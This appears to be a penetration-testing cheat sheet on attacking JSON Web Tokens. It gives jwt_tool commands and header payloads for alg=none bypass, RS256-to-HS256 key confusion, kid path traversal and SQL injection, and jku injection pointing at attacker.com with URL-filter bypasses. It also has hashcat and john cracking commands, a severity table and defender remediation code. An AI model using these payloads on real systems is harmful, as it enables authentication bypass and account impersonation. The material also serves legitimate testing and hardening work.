JSON Web Token Attacks
JWTs are signed (HS256/RS256/ES256) or sometimes mis-configured to
accept none. The header carries the alg + optionally kid/jku/x5u
references. Each is a potential exploitation surface.
1. Anatomy
header.payload.signature — each base64url. Decode w/ jwt_tool or
jwt-cracker:
jwt_tool eyJhbGc... # decode + verify + tamper modes
echo "$JWT" | cut -d. -f1-2 | tr '_-' '/+' | base64 -d 2>/dev/null
2. Attack surface
2.1 alg=none bypass
Set {"alg":"none"} in header, strip signature, send header.payload.:
jwt_tool $JWT -X a # alg=none attack
Worked on auth0 / pyjwt / many home-rolled libs pre-2017. Still appears in legacy systems.
2.2 HS256 vs RS256 confusion
Server uses RS256 (asymmetric) and verifies w/ public key. Attacker
switches alg to HS256 and signs w/ the public key (which the server
will use as the HMAC secret):
# Get the public key
curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]'
# Or pull from a redirect / unauth /pubkey endpoint
jwt_tool $JWT -X k -pk public.pem # alg confusion attack
2.3 kid header injection
kid (key ID) sometimes resolves to a file path or DB key:
{"alg":"HS256","kid":"../../../dev/null"} // sign with empty content
{"alg":"HS256","kid":"key1' UNION SELECT 'mykey"} // SQLi in kid lookup
jwt_tool -X i -I -hc kid -hv path chains kid injection variants.
2.4 jku / x5u URL injection
jku (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated,
attacker hosts their own:
{"alg":"RS256","jku":"https://attacker.com/jwks.json"}
Then https://attacker.com/jwks.json returns attacker's public key,
signed JWT is "valid".
Bypass URL filters via:
- subdomain confusion (
https://target.com.attacker.com/jwks.json) - userinfo (
https://attacker.com@target.com/jwks.json) - redirect chains via target's open-redirect
2.5 Weak HMAC secret
HS256 with weak secret crackable offline:
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt
Hashcat mode 16500 = JWT. Service-account secrets often dev/secret/
changeme/company-name patterns.
2.6 Signature stripping (Express.js / older Go libs)
Some libraries verify only IF a signature is present. Strip it:
header.payload. ← trailing dot, no sig
2.7 Embedded jwk header
jwk in header (vs jku pointer) — attacker embeds their own pub key:
{"alg":"RS256","jwk":{"kty":"RSA","n":"<attacker_pub>","e":"AQAB"}}
Old node-jsonwebtoken accepted this.
3. Detection in recon
JWT presence signals:
Authorization: Bearer eyJ...headersaccess_token=eyJ.../id_token=eyJ...URL params or cookies.well-known/jwks.jsonendpoint exposed.well-known/openid-configurationdiscovery doc
4. PoC pattern (Burp + jwt_tool)
- Capture authenticated request
jwt_tool <JWT> -M at -t <target_url>— runs all tests (alg=none, alg confusion, signature strip, weak HMAC dictionary)- For positive results, replay manually via Burp Repeater to confirm
- Document the modified JWT + decoded admin claims as PoC
5. Severity calibration
| Bug | Typical severity |
|---|---|
alg=none accepted on user → admin claim swap |
Critical 9.8 |
| HS256↔RS256 confusion → arbitrary user impersonation | Critical 9.8 |
jku to attacker URL accepted |
Critical 9.8 |
| Weak HMAC secret cracked offline (admin role) | Critical 9.8 |
kid SQLi → DB enumeration |
High 8.0 |
| Signature stripping accepted | Critical 9.8 |
6. Defender remediation
// Node: jsonwebtoken
jwt.verify(token, publicKey, {
algorithms: ['RS256'], // EXPLICIT — never accept "none" or HS256 here
audience: 'api://my-service',
issuer: 'https://auth.mycorp.com',
});
// Python: PyJWT 2.0+
jwt.decode(token, public_key, algorithms=['RS256']) // explicit algorithm
// Validate kid / jku come from a known-good fixed set, NEVER user-controlled lookup
Cross-references
- Upstream catalog:
skills/_corpus/payloads/JSON Web Token/ - jwt_tool: https://github.com/ticarpi/jwt_tool
Known exemplars
- Auth0 alg=none (2015) — historical CVE-2015-2951 era
- Multiple Github bounty $5-15k for HS256/RS256 confusion in 2018-2021
- Atlassian 2022: JWT validation bypass in JIRA cloud → admin
- Several HackerOne $20k+ reports on kid path-traversal + jku to attacker host